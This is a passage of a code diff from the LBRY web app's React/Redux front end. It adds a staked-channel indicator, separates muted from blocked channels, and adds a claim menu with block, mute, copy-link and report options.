className={classnames('channel-staked__wrapper', {
|
||||
'channel-staked__wrapper--large': large,
|
||||
'channel-staked__wrapper--inline': inline,
|
||||
})}
|
||||
>
|
||||
<LevelIcon icon={icon} large={large} isControlling={isControlling} />
|
||||
</div>
|
||||
</Tooltip>
|
||||
)
|
||||
);
|
||||
}
|
||||
|
||||
type LevelIconProps = {
|
||||
isControlling: boolean,
|
||||
icon: string,
|
||||
large?: boolean,
|
||||
};
|
||||
|
||||
function LevelIcon(props: LevelIconProps) {
|
||||
const { large, isControlling, icon } = props;
|
||||
return (
|
||||
icon && (
|
||||
<Icon
|
||||
icon={icon}
|
||||
size={large ? 36 : 14}
|
||||
className={classnames('channel-staked__indicator', {
|
||||
'channel-staked__indicator--large': large,
|
||||
'channel-staked__indicator--controlling': isControlling,
|
||||
})}
|
||||
/>
|
||||
)
|
||||
);
|
||||
}
|
||||
|
||||
export default ChannelStakedIndicator;
|
||||
@@ -4,6 +4,7 @@ import { parseURI } from 'lbry-redux';
|
||||
import classnames from 'classnames';
|
||||
import Gerbil from './gerbil.png';
|
||||
import FreezeframeWrapper from 'component/fileThumbnail/FreezeframeWrapper';
|
||||
import ChannelStakedIndicator from 'component/channelStakedIndicator';
|
||||
|
||||
type Props = {
|
||||
thumbnail: ?string,
|
||||
@@ -14,9 +15,10 @@ type Props = {
|
||||
small?: boolean,
|
||||
allowGifs?: boolean,
|
||||
claim: ?ChannelClaim,
|
||||
doResolveUri: string => void,
|
||||
doResolveUri: (string) => void,
|
||||
isResolving: boolean,
|
||||
showDelayedMessage?: boolean,
|
||||
hideStakedIndicator?: boolean,
|
||||
};
|
||||
|
||||
function ChannelThumbnail(props: Props) {
|
||||
@@ -32,6 +34,7 @@ function ChannelThumbnail(props: Props) {
|
||||
doResolveUri,
|
||||
isResolving,
|
||||
showDelayedMessage = false,
|
||||
hideStakedIndicator = false,
|
||||
} = props;
|
||||
const [thumbError, setThumbError] = React.useState(false);
|
||||
const shouldResolve = claim === undefined;
|
||||
@@ -57,7 +60,11 @@ function ChannelThumbnail(props: Props) {
|
||||
}, [doResolveUri, shouldResolve, uri]);
|
||||
|
||||
if (channelThumbnail && channelThumbnail.endsWith('gif') && !allowGifs) {
|
||||
return <FreezeframeWrapper src={channelThumbnail} className={classnames('channel-thumbnail', className)} />;
|
||||
return (
|
||||
<FreezeframeWrapper src={channelThumbnail} className={classnames('channel-thumbnail', className)}>
|
||||
{!hideStakedIndicator && <ChannelStakedIndicator uri={uri} claim={claim} />}
|
||||
</FreezeframeWrapper>
|
||||
);
|
||||
}
|
||||
|
||||
return (
|
||||
@@ -72,7 +79,8 @@ function ChannelThumbnail(props: Props) {
|
||||
<img
|
||||
alt={__('Channel profile picture')}
|
||||
className="channel-thumbnail__default"
|
||||
src={thumbnailPreview || Gerbil}
|
||||
src={!thumbError && thumbnailPreview ? thumbnailPreview : Gerbil}
|
||||
onError={() => setThumbError(true)} // if thumb fails (including due to https replace, show gerbil.
|
||||
/>
|
||||
)}
|
||||
{showThumb && (
|
||||
@@ -89,6 +97,7 @@ function ChannelThumbnail(props: Props) {
|
||||
)}
|
||||
</>
|
||||
)}
|
||||
{!hideStakedIndicator && <ChannelStakedIndicator uri={uri} claim={claim} />}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -1,11 +1,12 @@
|
||||
import { connect } from 'react-redux';
|
||||
import ClaimList from './view';
|
||||
import { SETTINGS } from 'lbry-redux';
|
||||
import { makeSelectClientSetting } from 'redux/selectors/settings';
|
||||
|
||||
const select = state => ({});
|
||||
const select = (state) => ({
|
||||
searchInLanguage: makeSelectClientSetting(SETTINGS.SEARCH_IN_LANGUAGE)(state),
|
||||
});
|
||||
|
||||
const perform = dispatch => ({});
|
||||
const perform = (dispatch) => ({});
|
||||
|
||||
export default connect(
|
||||
select,
|
||||
perform
|
||||
)(ClaimList);
|
||||
export default connect(select, perform)(ClaimList);
|
||||
@@ -22,7 +22,7 @@ type Props = {
|
||||
type: string,
|
||||
empty?: string,
|
||||
defaultSort?: boolean,
|
||||
onScrollBottom?: any => void,
|
||||
onScrollBottom?: (any) => void,
|
||||
page?: number,
|
||||
pageSize?: number,
|
||||
id?: string,
|
||||
@@ -32,11 +32,12 @@ type Props = {
|
||||
showUnresolvedClaims?: boolean,
|
||||
renderProperties: ?(Claim) => Node,
|
||||
includeSupportAction?: boolean,
|
||||
hideBlock: boolean,
|
||||
injectedItem: ?Node,
|
||||
timedOutMessage?: Node,
|
||||
tileLayout?: boolean,
|
||||
renderActions?: Claim => ?Node,
|
||||
renderActions?: (Claim) => ?Node,
|
||||
searchInLanguage: boolean,
|
||||
hideMenu?: boolean,
|
||||
};
|
||||
|
||||
export default function ClaimList(props: Props) {
|
||||
@@ -56,24 +57,28 @@ export default function ClaimList(props: Props) {
|
||||
showUnresolvedClaims,
|
||||
renderProperties,
|
||||
includeSupportAction,
|
||||
hideBlock,
|
||||
injectedItem,
|
||||
timedOutMessage,
|
||||
tileLayout = false,
|
||||
renderActions,
|
||||
searchInLanguage,
|
||||
hideMenu,
|
||||
} = props;
|
||||
|
||||
const [currentSort, setCurrentSort] = usePersistedState(persistedStorageKey, SORT_NEW);
|
||||
const timedOut = uris === null;
|
||||
const urisLength = (uris && uris.length) || 0;
|
||||
const sortedUris = (urisLength > 0 && (currentSort === SORT_NEW ? uris : uris.slice().reverse())) || [];
|
||||
const noResultMsg = searchInLanguage
|
||||
? __('No results. Contents may be hidden by the Language filter.')
|
||||
: __('No results');
|
||||
|
||||
function handleSortChange() {
|
||||
setCurrentSort(currentSort === SORT_NEW ? SORT_OLD : SORT_NEW);
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
const handleScroll = debounce(e => {
|
||||
const handleScroll = debounce((e) => {
|
||||
if (page && pageSize && onScrollBottom) {
|
||||
const mainEl = document.querySelector(`.${MAIN_CLASS}`);
|
||||
|
||||
@@ -95,10 +100,9 @@ export default function ClaimList(props: Props) {
|
||||
|
||||
return tileLayout && !header ? (
|
||||
<section className="claim-grid">
|
||||
{urisLength > 0 && uris.map(uri => <ClaimPreviewTile key={uri} uri={uri} />)}
|
||||
{!timedOut && urisLength === 0 && !loading && (
|
||||
<div className="empty main--empty">{empty || __('No results')}</div>
|
||||
)}
|
||||
{urisLength > 0 &&
|
||||
uris.map((uri) => <ClaimPreviewTile key={uri} uri={uri} showHiddenByUser={showHiddenByUser} />)}
|
||||
{!timedOut && urisLength === 0 && !loading && <div className="empty main--empty">{empty || noResultMsg}</div>}
|
||||
{timedOut && timedOutMessage && <div className="empty main--empty">{timedOutMessage}</div>}
|
||||
</section>
|
||||
) : (
|
||||
@@ -146,12 +150,13 @@ export default function ClaimList(props: Props) {
|
||||
<ClaimPreview
|
||||
uri={uri}
|
||||
type={type}
|
||||
hideMenu={hideMenu}
|
||||
includeSupportAction={includeSupportAction}
|
||||
showUnresolvedClaim={showUnresolvedClaims}
|
||||
properties={renderProperties || (type !== 'small' ? undefined : false)}
|
||||
renderActions={renderActions}
|
||||
showUserBlocked={showHiddenByUser}
|
||||
hideBlock={hideBlock}
|
||||
showHiddenByUser={showHiddenByUser}
|
||||
customShouldHide={(claim: StreamClaim) => {
|
||||
// Hack to hide spee.ch thumbnail publishes
|
||||
// If it meets these requirements, it was probably uploaded here:
|
||||
@@ -168,9 +173,7 @@ export default function ClaimList(props: Props) {
|
||||
</ul>
|
||||
)}
|
||||
|
||||
{!timedOut && urisLength === 0 && !loading && (
|
||||
<div className="empty empty--centered">{empty || __('No results')}</div>
|
||||
)}
|
||||
{!timedOut && urisLength === 0 && !loading && <div className="empty empty--centered">{empty || noResultMsg}</div>}
|
||||
{!loading && timedOut && timedOutMessage && <div className="empty empty--centered">{timedOutMessage}</div>}
|
||||
</section>
|
||||
);
|
||||
|
||||
@@ -7,12 +7,13 @@ import {
|
||||
SETTINGS,
|
||||
} from 'lbry-redux';
|
||||
import { selectFollowedTags } from 'redux/selectors/tags';
|
||||
import { selectBlockedChannels } from 'redux/selectors/blocked';
|
||||
import { selectMutedChannels } from 'redux/selectors/blocked';
|
||||
import { doToggleTagFollowDesktop } from 'redux/actions/tags';
|
||||
import { makeSelectClientSetting, selectLanguage } from 'redux/selectors/settings';
|
||||
import { selectModerationBlockList } from 'redux/selectors/comments';
|
||||
import ClaimListDiscover from './view';
|
||||
|
||||
const select = state => ({
|
||||
const select = (state) => ({
|
||||
followedTags: selectFollowedTags(state),
|
||||
claimSearchByQuery: selectClaimSearchByQuery(state),
|
||||
claimSearchByQueryLastPageReached: selectClaimSearchByQueryLastPageReached(state),
|
||||
@@ -20,7 +21,8 @@ const select = state => ({
|
||||
showNsfw: makeSelectClientSetting(SETTINGS.SHOW_MATURE)(state),
|
||||
hideReposts: makeSelectClientSetting(SETTINGS.HIDE_REPOSTS)(state),
|
||||
languageSetting: selectLanguage(state),
|
||||
hiddenUris: selectBlockedChannels(state),
|
||||
mutedUris: selectMutedChannels(state),
|
||||
blockedUris: selectModerationBlockList(state),
|
||||
searchInLanguage: makeSelectClientSetting(SETTINGS.SEARCH_IN_LANGUAGE)(state),
|
||||
});
|
||||
|
||||
|
||||
@@ -20,17 +20,18 @@ type Props = {
|
||||
doClaimSearch: ({}) => void,
|
||||
loading: boolean,
|
||||
personalView: boolean,
|
||||
doToggleTagFollowDesktop: string => void,
|
||||
doToggleTagFollowDesktop: (string) => void,
|
||||
meta?: Node,
|
||||
showNsfw: boolean,
|
||||
hideReposts: boolean,
|
||||
history: { action: string, push: string => void, replace: string => void },
|
||||
history: { action: string, push: (string) => void, replace: (string) => void },
|
||||
location: { search: string, pathname: string },
|
||||
claimSearchByQuery: {
|
||||
[string]: Array<string>,
|
||||
},
|
||||
claimSearchByQueryLastPageReached: { [string]: boolean },
|
||||
hiddenUris: Array<string>,
|
||||
mutedUris: Array<string>,
|
||||
blockedUris: Array<string>,
|
||||
hiddenNsfwMessage?: Node,
|
||||
channelIds?: Array<string>,
|
||||
claimIds?: Array<string>,
|
||||
@@ -43,13 +44,12 @@ type Props = {
|
||||
header?: Node,
|
||||
headerLabel?: string | Node,
|
||||
name?: string,
|
||||
hideBlock?: boolean,
|
||||
hideAdvancedFilter?: boolean,
|
||||
claimType?: Array<string>,
|
||||
defaultClaimType?: Array<string>,
|
||||
streamType?: string | Array<string>,
|
||||
defaultStreamType?: string | Array<string>,
|
||||
renderProperties?: Claim => Node,
|
||||
renderProperties?: (Claim) => Node,
|
||||
includeSupportAction?: boolean,
|
||||
repostedClaimId?: string,
|
||||
pageSize?: number,
|
||||
@@ -64,6 +64,7 @@ type Props = {
|
||||
languageSetting: string,
|
||||
searchInLanguage: boolean,
|
||||
scrollAnchor?: string,
|
||||
showHiddenByUser?: boolean,
|
||||
};
|
||||
|
||||
function ClaimListDiscover(props: Props) {
|
||||
@@ -80,7 +81,8 @@ function ClaimListDiscover(props: Props) {
|
||||
hideReposts,
|
||||
history,
|
||||
location,
|
||||
hiddenUris,
|
||||
mutedUris,
|
||||
blockedUris,
|
||||
hiddenNsfwMessage,
|
||||
defaultOrderBy,
|
||||
orderBy,
|
||||
@@ -89,7 +91,6 @@ function ClaimListDiscover(props: Props) {
|
||||
name,
|
||||
claimType,
|
||||
pageSize,
|
||||
hideBlock,
|
||||
defaultClaimType,
|
||||
streamType,
|
||||
defaultStreamType,
|
||||
@@ -112,6 +113,7 @@ function ClaimListDiscover(props: Props) {
|
||||
languageSetting,
|
||||
searchInLanguage,
|
||||
scrollAnchor,
|
||||
showHiddenByUser = false,
|
||||
} = props;
|
||||
const didNavigateForward = history.action === 'PUSH';
|
||||
const { search } = location;
|
||||
@@ -120,13 +122,14 @@ function ClaimListDiscover(props: Props) {
|
||||
const isLargeScreen = useIsLargeScreen();
|
||||
const [orderParamEntry, setOrderParamEntry] = usePersistedState(`entry-${location.pathname}`, CS.ORDER_BY_TRENDING);
|
||||
const [orderParamUser, setOrderParamUser] = usePersistedState(`orderUser-${location.pathname}`, CS.ORDER_BY_TRENDING);
|
||||
const followed = (followedTags && followedTags.map(t => t.name)) || [];
|
||||
const followed = (followedTags && followedTags.map((t) => t.name)) || [];
|
||||
const urlParams = new URLSearchParams(search);
|
||||
const tagsParam = // can be 'x,y,z' or 'x' or ['x','y'] or CS.CONSTANT
|
||||
(tags && getParamFromTags(tags)) ||
|
||||
(urlParams.get(CS.TAGS_KEY) !== null && urlParams.get(CS.TAGS_KEY)) ||
|
||||
(defaultTags && getParamFromTags(defaultTags));
|
||||
const freshnessParam = freshness || urlParams.get(CS.FRESH_KEY) || defaultFreshness;
|
||||
const mutedAndBlockedChannelIds = Array.from(new Set(mutedUris.concat(blockedUris).map((uri) => uri.split('#')[1])));
|
||||
|
||||
const langParam = urlParams.get(CS.LANGUAGE_KEY) || null;
|
||||
const languageParams = searchInLanguage
|
||||
@@ -206,7 +209,7 @@ function ClaimListDiscover(props: Props) {
|
||||
no_totals: true,
|
||||
not_channel_ids:
|
||||
// If channelIdsParam were passed in, we don't need not_channel_ids
|
||||
!channelIdsParam && hiddenUris && hiddenUris.length ? hiddenUris.map(hiddenUri => hiddenUri.split('#')[1]) : [],
|
||||
!channelIdsParam ? mutedAndBlockedChannelIds : [],
|
||||
not_tags: !showNsfw ? MATURE_TAGS : [],
|
||||
order_by:
|
||||
orderParam === CS.ORDER_BY_TRENDING
|
||||
@@ -247,12 +250,7 @@ function ClaimListDiscover(props: Props) {
|
||||
|
||||
if (claimType !== CS.CLAIM_CHANNEL) {
|
||||
if (orderParam === CS.ORDER_BY_TOP && freshnessParam !== CS.FRESH_ALL) {
|
||||
options.release_time = `>${Math.floor(
|
||||
moment()
|
||||
.subtract(1, freshnessParam)
|
||||
.startOf('hour')
|
||||
.unix()
|
||||
)}`;
|
||||
options.release_time = `>${Math.floor(moment().subtract(1, freshnessParam).startOf('hour').unix())}`;
|
||||
} else if (orderParam === CS.ORDER_BY_NEW || orderParam === CS.ORDER_BY_TRENDING) {
|
||||
// Warning - hack below
|
||||
// If users are following more than 10 channels or tags, limit results to stuff less than a year old
|
||||
@@ -263,29 +261,15 @@ function ClaimListDiscover(props: Props) {
|
||||
(options.channel_ids && options.channel_ids.length > 20) ||
|
||||
(options.any_tags && options.any_tags.length > 20)
|
||||
) {
|
||||
options.release_time = `>${Math.floor(
|
||||
moment()
|
||||
.subtract(3, CS.FRESH_MONTH)
|
||||
.startOf('week')
|
||||
.unix()
|
||||
)}`;
|
||||
options.release_time = `>${Math.floor(moment().subtract(3, CS.FRESH_MONTH).startOf('week').unix())}`;
|
||||
} else if (
|
||||
(options.channel_ids && options.channel_ids.length > 10) ||
|
||||
(options.any_tags && options.any_tags.length > 10)
|
||||
) {
|
||||
options.release_time = `>${Math.floor(
|
||||
moment()
|
||||
.subtract(1, CS.FRESH_YEAR)
|
||||
.startOf('week')
|
||||
.unix()
|
||||
)}`;
|
||||
options.release_time = `>${Math.floor(moment().subtract(1, CS.FRESH_YEAR).startOf('week').unix())}`;
|
||||
} else {
|
||||
// Hack for at least the New page until https://github.com/lbryio/lbry-sdk/issues/2591 is fixed
|
||||
options.release_time = `<${Math.floor(
|
||||
moment()
|
||||
.startOf('minute')
|
||||
.unix()
|
||||
)}`;
|
||||
options.release_time = `<${Math.floor(moment().startOf('minute').unix())}`;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -333,14 +317,14 @@ function ClaimListDiscover(props: Props) {
|
||||
if (hideReposts && !options.reposted_claim_id && !forceShowReposts) {
|
||||
if (Array.isArray(options.claim_type)) {
|
||||
if (options.claim_type.length > 1) {
|
||||
options.claim_type = options.claim_type.filter(claimType => claimType !== 'repost');
|
||||
options.claim_type = options.claim_type.filter((claimType) => claimType !== 'repost');
|
||||
}
|
||||
} else {
|
||||
options.claim_type = ['stream', 'channel'];
|
||||
}
|
||||
}
|
||||
|
||||
const hasMatureTags = tagsParam && tagsParam.split(',').some(t => MATURE_TAGS.includes(t));
|
||||
const hasMatureTags = tagsParam && tagsParam.split(',').some((t) => MATURE_TAGS.includes(t));
|
||||
const claimSearchCacheQuery = createNormalizedClaimSearchKey(options);
|
||||
const claimSearchResult = claimSearchByQuery[claimSearchCacheQuery];
|
||||
const claimSearchResultLastPageReached = claimSearchByQueryLastPageReached[claimSearchCacheQuery];
|
||||
@@ -499,8 +483,8 @@ function ClaimListDiscover(props: Props) {
|
||||
timedOutMessage={timedOutMessage}
|
||||
renderProperties={renderProperties}
|
||||
includeSupportAction={includeSupportAction}
|
||||
hideBlock={hideBlock}
|
||||
injectedItem={injectedItem}
|
||||
showHiddenByUser={showHiddenByUser}
|
||||
/>
|
||||
{loading && (
|
||||
<div className="claim-grid">
|
||||
@@ -527,8 +511,8 @@ function ClaimListDiscover(props: Props) {
|
||||
timedOutMessage={timedOutMessage}
|
||||
renderProperties={renderProperties}
|
||||
includeSupportAction={includeSupportAction}
|
||||
hideBlock={hideBlock}
|
||||
injectedItem={injectedItem}
|
||||
showHiddenByUser={showHiddenByUser}
|
||||
/>
|
||||
{loading && new Array(dynamicPageSize).fill(1).map((x, i) => <ClaimPreview key={i} placeholder="loading" />)}
|
||||
</div>
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
import { connect } from 'react-redux';
|
||||
import { makeSelectClaimForUri, makeSelectClaimIsMine } from 'lbry-redux';
|
||||
import { makeSelectChannelIsMuted } from 'redux/selectors/blocked';
|
||||
import { doToggleMuteChannel } from 'redux/actions/blocked';
|
||||
import { doCommentModBlock, doCommentModUnBlock } from 'redux/actions/comments';
|
||||
import { makeSelectChannelIsBlocked } from 'redux/selectors/comments';
|
||||
import ClaimPreview from './view';
|
||||
|
||||
const select = (state, props) => ({
|
||||
claim: makeSelectClaimForUri(props.uri)(state),
|
||||
claimIsMine: makeSelectClaimIsMine(props.uri)(state),
|
||||
channelIsMuted: makeSelectChannelIsMuted(props.uri)(state),
|
||||
channelIsBlocked: makeSelectChannelIsBlocked(props.uri)(state),
|
||||
});
|
||||
|
||||
export default connect(select, {
|
||||
doToggleMuteChannel,
|
||||
doCommentModBlock,
|
||||
doCommentModUnBlock,
|
||||
})(ClaimPreview);
|
||||
@@ -0,0 +1,120 @@
|
||||
// @flow
|
||||
import { URL, SHARE_DOMAIN_URL } from 'config';
|
||||
import * as ICONS from 'constants/icons';
|
||||
import React from 'react';
|
||||
import classnames from 'classnames';
|
||||
import { Menu, MenuButton, MenuList, MenuItem } from '@reach/menu-button';
|
||||
import Icon from 'component/common/icon';
|
||||
import { generateShareUrl } from 'util/url';
|
||||
|
||||
const SHARE_DOMAIN = SHARE_DOMAIN_URL || URL;
|
||||
|
||||
type Props = {
|
||||
uri: string,
|
||||
claim: ?Claim,
|
||||
inline?: boolean,
|
||||
claimIsMine: boolean,
|
||||
channelIsMuted: boolean,
|
||||
channelIsBlocked: boolean,
|
||||
doToggleMuteChannel: (string) => void,
|
||||
doCommentModBlock: (string) => void,
|
||||
doCommentModUnBlock: (string) => void,
|
||||
};
|
||||
|
||||
function ClaimMenuList(props: Props) {
|
||||
const {
|
||||
uri,
|
||||
claim,
|
||||
inline = false,
|
||||
claimIsMine,
|
||||
doToggleMuteChannel,
|
||||
channelIsMuted,
|
||||
channelIsBlocked,
|
||||
doCommentModBlock,
|
||||
doCommentModUnBlock,
|
||||
} = props;
|
||||
const channelUri =
|
||||
claim &&
|
||||
(claim.value_type === 'channel'
|
||||
? claim.permanent_url
|
||||
: claim.signing_channel && claim.signing_channel.permanent_url);
|
||||
|
||||
const shareUrl: string = generateShareUrl(SHARE_DOMAIN, uri);
|
||||
|
||||
if (!channelUri || !claim) {
|
||||
return null;
|
||||
}
|
||||
|
||||
function handleToggleMute() {
|
||||
doToggleMuteChannel(channelUri);
|
||||
}
|
||||
|
||||
function handleToggleBlock() {
|
||||
if (channelIsBlocked) {
|
||||
doCommentModUnBlock(channelUri);
|
||||
} else {
|
||||
doCommentModBlock(channelUri);
|
||||
}
|
||||
}
|
||||
|
||||
function handleCopyLink() {
|
||||
navigator.clipboard.writeText(shareUrl);
|
||||
}
|
||||
|
||||
function handleReportContent() {
|
||||
window.open(`https://lbry.com/dmca/${claim.claim_id}`, '_blank', 'noopener');
|
||||
}
|
||||
|
||||
return (
|
||||
<Menu>
|
||||
<MenuButton
|
||||
className={classnames('menu__button', { 'claim__menu-button': !inline, 'claim__menu-button--inline': inline })}
|
||||
onClick={(e) => {
|
||||
e.stopPropagation();
|
||||
e.preventDefault();
|
||||
}}
|
||||
>
|
||||
<Icon size={20} icon={ICONS.MORE_VERTICAL} />
|
||||
</MenuButton>
|
||||
<MenuList className="menu__list">
|
||||
{!claimIsMine && (
|
||||
<>
|
||||
<MenuItem className="comment__menu-option" onSelect={handleToggleBlock}>
|
||||
<div className="menu__link">
|
||||
<Icon aria-hidden icon={ICONS.BLOCK} />
|
||||
{channelIsBlocked ? __('Unblock Channel') : __('Block Channel')}
|
||||
</div>
|
||||
</MenuItem>
|
||||
|
||||
<MenuItem className="comment__menu-option" onSelect={handleToggleMute}>
|
||||
<div className="menu__link">
|
||||
<Icon aria-hidden icon={ICONS.MUTE} />
|
||||
{channelIsMuted ? __('Unmute Channel') : __('Mute Channel')}
|
||||
</div>
|
||||
</MenuItem>
|
||||
|
||||
<hr className="menu__separator" />
|
||||
</>
|
||||
)}
|
||||
|
||||
<MenuItem className="comment__menu-option" onSelect={handleCopyLink}>
|
||||
<div className="menu__link">
|
||||
<Icon aria-hidden icon={ICONS.SHARE} />
|
||||
{__('Copy Link')}
|
||||
</div>
|
||||
</MenuItem>
|
||||
|
||||
{!claimIsMine && (
|
||||
<MenuItem className="comment__menu-option" onSelect={handleReportContent}>
|
||||
<div className="menu__link">
|
||||
<Icon aria-hidden icon={ICONS.REPORT} />
|
||||
{__('Report Content')}
|
||||
</div>
|
||||
</MenuItem>
|
||||
)}
|
||||
</MenuList>
|
||||
</Menu>
|
||||
);
|
||||
}
|
||||
|
||||
export default ClaimMenuList;
|
||||
@@ -11,18 +11,19 @@ import {
|
||||
makeSelectClaimWasPurchased,
|
||||
makeSelectStreamingUrlForUri,
|
||||
} from 'lbry-redux';
|
||||
import { selectBlockedChannels, selectChannelIsBlocked } from 'redux/selectors/blocked';
|
||||
import { selectMutedChannels, makeSelectChannelIsMuted } from 'redux/selectors/blocked';
|
||||
import { selectBlackListedOutpoints, selectFilteredOutpoints } from 'lbryinc';
|
||||
import { selectShowMatureContent } from 'redux/selectors/settings';
|
||||
import { makeSelectHasVisitedUri } from 'redux/selectors/content';
|
||||
import { makeSelectIsSubscribed } from 'redux/selectors/subscriptions';
|
||||
import { selectModerationBlockList } from 'redux/selectors/comments';
|
||||
import ClaimPreview from './view';
|
||||
|
||||
const select = (state, props) => ({
|
||||
pending: props.uri && makeSelectClaimIsPending(props.uri)(state),
|
||||
claim: props.uri && makeSelectClaimForUri(props.uri)(state),
|
||||
reflectingProgress: props.uri && makeSelectReflectingClaimForUri(props.uri)(state),
|
||||
obscureNsfw: !selectShowMatureContent(state),
|
||||
obscureNsfw: selectShowMatureContent(state) === false,
|
||||
claimIsMine: props.uri && makeSelectClaimIsMine(props.uri)(state),
|
||||
isResolvingUri: props.uri && makeSelectIsUriResolving(props.uri)(state),
|
||||
isResolvingRepost: props.uri && makeSelectIsUriResolving(props.repostUrl)(state),
|
||||
@@ -30,17 +31,18 @@ const select = (state, props) => ({
|
||||
nsfw: props.uri && makeSelectClaimIsNsfw(props.uri)(state),
|
||||
blackListedOutpoints: selectBlackListedOutpoints(state),
|
||||
filteredOutpoints: selectFilteredOutpoints(state),
|
||||
blockedChannelUris: selectBlockedChannels(state),
|
||||
mutedUris: selectMutedChannels(state),
|
||||
blockedUris: selectModerationBlockList(state),
|
||||
hasVisitedUri: props.uri && makeSelectHasVisitedUri(props.uri)(state),
|
||||
channelIsBlocked: props.uri && selectChannelIsBlocked(props.uri)(state),
|
||||
channelIsBlocked: props.uri && makeSelectChannelIsMuted(props.uri)(state),
|
||||
isSubscribed: props.uri && makeSelectIsSubscribed(props.uri, true)(state),
|
||||
streamingUrl: props.uri && makeSelectStreamingUrlForUri(props.uri)(state),
|
||||
wasPurchased: props.uri && makeSelectClaimWasPurchased(props.uri)(state),
|
||||
});
|
||||
|
||||
const perform = dispatch => ({
|
||||
resolveUri: uri => dispatch(doResolveUri(uri)),
|
||||
getFile: uri => dispatch(doFileGet(uri, false)),
|
||||
const perform = (dispatch) => ({
|
||||
resolveUri: (uri) => dispatch(doResolveUri(uri)),
|
||||
getFile: (uri) => dispatch(doFileGet(uri, false)),
|
||||
});
|
||||
|
||||
export default connect(select, perform)(ClaimPreview);
|
||||
@@ -3,8 +3,7 @@ import type { Node } from 'react';
|
||||
import React, { useEffect, forwardRef } from 'react';
|
||||
import { NavLink, withRouter } from 'react-router-dom';
|
||||
import classnames from 'classnames';
|
||||
import { parseURI, convertToShareLink } from 'lbry-redux';
|
||||
import { openCopyLinkMenu } from 'util/context-menu';
|
||||
import { parseURI } from 'lbry-redux';
|
||||
import { formatLbryUrlForWeb } from 'util/url';
|
||||
import { isEmpty } from 'util/object';
|
||||
import FileThumbnail from 'component/fileThumbnail';
|
||||
@@ -13,7 +12,6 @@ import FileProperties from 'component/fileProperties';
|
||||
import ClaimTags from 'component/claimTags';
|
||||
import SubscribeButton from 'component/subscribeButton';
|
||||
import ChannelThumbnail from 'component/channelThumbnail';
|
||||
import BlockButton from 'component/blockButton';
|
||||
import ClaimSupportButton from 'component/claimSupportButton';
|
||||
import useGetThumbnail from 'effects/use-get-thumbnail';
|
||||
import ClaimPreviewTitle from 'component/claimPreviewTitle';
|
||||
@@ -22,6 +20,7 @@ import ClaimRepostAuthor from 'component/claimRepostAuthor';
|
||||
import FileDownloadLink from 'component/fileDownloadLink';
|
||||
import AbandonedChannelPreview from 'component/abandonedChannelPreview';
|
||||
import PublishPending from 'component/publishPending';
|
||||
import ClaimMenuList from 'component/claimMenuList';
|
||||
import ClaimPreviewLoading from './claim-preview-loading';
|
||||
import ClaimPreviewHidden from './claim-preview-no-mature';
|
||||
import ClaimPreviewNoContent from './claim-preview-no-content';
|
||||
@@ -34,9 +33,9 @@ type Props = {
|
||||
claimIsMine: boolean,
|
||||
pending?: boolean,
|
||||
reflectingProgress?: any, // fxme
|
||||
resolveUri: string => void,
|
||||
resolveUri: (string) => void,
|
||||
isResolvingUri: boolean,
|
||||
history: { push: string => void },
|
||||
history: { push: (string) => void },
|
||||
title: string,
|
||||
nsfw: boolean,
|
||||
placeholder: string,
|
||||
@@ -50,25 +49,25 @@ type Props = {
|
||||
txid: string,
|
||||
nout: number,
|
||||
}>,
|
||||
blockedChannelUris: Array<string>,
|
||||
mutedUris: Array<string>,
|
||||
blockedUris: Array<string>,
|
||||
channelIsBlocked: boolean,
|
||||
isSubscribed: boolean,
|
||||
actions: boolean | Node | string | number,
|
||||
properties: boolean | Node | string | number | (Claim => Node),
|
||||
properties: boolean | Node | string | number | ((Claim) => Node),
|
||||
empty?: Node,
|
||||
onClick?: any => any,
|
||||
hideBlock?: boolean,
|
||||
onClick?: (any) => any,
|
||||
streamingUrl: ?string,
|
||||
getFile: string => void,
|
||||
customShouldHide?: Claim => boolean,
|
||||
getFile: (string) => void,
|
||||
customShouldHide?: (Claim) => boolean,
|
||||
showUnresolvedClaim?: boolean,
|
||||
showNullPlaceholder?: boolean,
|
||||
includeSupportAction?: boolean,
|
||||
hideActions?: boolean,
|
||||
renderActions?: Claim => ?Node,
|
||||
renderActions?: (Claim) => ?Node,
|
||||
wrapperElement?: string,
|
||||
hideRepostLabel?: boolean,
|
||||
repostUrl?: string,
|
||||
hideMenu?: boolean,
|
||||
};
|
||||
|
||||
const ClaimPreview = forwardRef<any, {}>((props: Props, ref: any) => {
|
||||
@@ -81,9 +80,9 @@ const ClaimPreview = forwardRef<any, {}>((props: Props, ref: any) => {
|
||||
getFile,
|
||||
resolveUri,
|
||||
// claim properties
|
||||
// is the claim consider nsfw?
|
||||
nsfw,
|
||||
claimIsMine,
|
||||
isSubscribed,
|
||||
streamingUrl,
|
||||
// user properties
|
||||
channelIsBlocked,
|
||||
@@ -100,6 +99,8 @@ const ClaimPreview = forwardRef<any, {}>((props: Props, ref: any) => {
|
||||
// modifiers
|
||||
customShouldHide,
|
||||
showNullPlaceholder,
|
||||
// value from show mature content user setting
|
||||
// true if the user doesn't wanna see nsfw content
|
||||
obscureNsfw,
|
||||
showUserBlocked,
|
||||
showUnresolvedClaim,
|
||||
@@ -107,13 +108,14 @@ const ClaimPreview = forwardRef<any, {}>((props: Props, ref: any) => {
|
||||
hideActions = false,
|
||||
properties,
|
||||
onClick,
|
||||
hideBlock,
|
||||
actions,
|
||||
blockedChannelUris,
|
||||
mutedUris,
|
||||
blockedUris,
|
||||
blackListedOutpoints,
|
||||
filteredOutpoints,
|
||||
includeSupportAction,
|
||||
renderActions,
|
||||
hideMenu = false,
|
||||
// repostUrl,
|
||||
} = props;
|
||||
const WrapperElement = wrapperElement || 'li';
|
||||
@@ -131,14 +133,15 @@ const ClaimPreview = forwardRef<any, {}>((props: Props, ref: any) => {
|
||||
isValid = false;
|
||||
}
|
||||
}
|
||||
const isRepost = claim && claim.repost_url;
|
||||
|
||||
const contentUri = hideRepostLabel && claim && claim.repost_url ? claim.canonical_url || claim.permanent_url : uri;
|
||||
const isChannel = isValid ? parseURI(contentUri).isChannel : false;
|
||||
const contentUri = claim && isRepost ? claim.canonical_url || claim.permanent_url : uri;
|
||||
const isChannelUri = isValid ? parseURI(contentUri).isChannel : false;
|
||||
const signingChannel = claim && claim.signing_channel;
|
||||
const navigateUrl = formatLbryUrlForWeb((claim && claim.canonical_url) || uri || '/');
|
||||
const navLinkProps = {
|
||||
to: navigateUrl,
|
||||
